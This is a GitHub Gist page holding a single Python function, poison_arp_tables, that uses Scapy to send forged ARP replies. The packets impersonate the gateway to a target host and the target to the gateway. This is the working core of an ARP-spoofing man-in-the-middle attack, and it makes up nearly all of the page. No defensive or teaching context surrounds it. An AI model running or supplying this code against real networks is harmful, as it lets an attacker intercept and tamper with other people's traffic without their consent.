Skip to content

Instantly share code, notes, and snippets.

@NimishMishra
Created June 30, 2020 05:39
Show Gist options
  • Save NimishMishra/85f0a9c557bb1b5b8b1a32c1a3ef92d1 to your computer and use it in GitHub Desktop.
Save NimishMishra/85f0a9c557bb1b5b8b1a32c1a3ef92d1 to your computer and use it in GitHub Desktop.
def poison_arp_tables(gateway_ip, gateway_mac, target_ip, target_mac):
# print("Poisoning.....")
gateway_to_target = ARP(op=2, hwdst= target_mac, psrc= gateway_ip, pdst= target_ip)
target_to_gateway = ARP(op=2, hwdst= gateway_mac, psrc= target_ip, pdst= gateway_ip)
try:
send(gateway_to_target, verbose=0)
send(target_to_gateway, verbose=0)
except Exception as e:
sys.exit()
# print("Poisoning done...")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment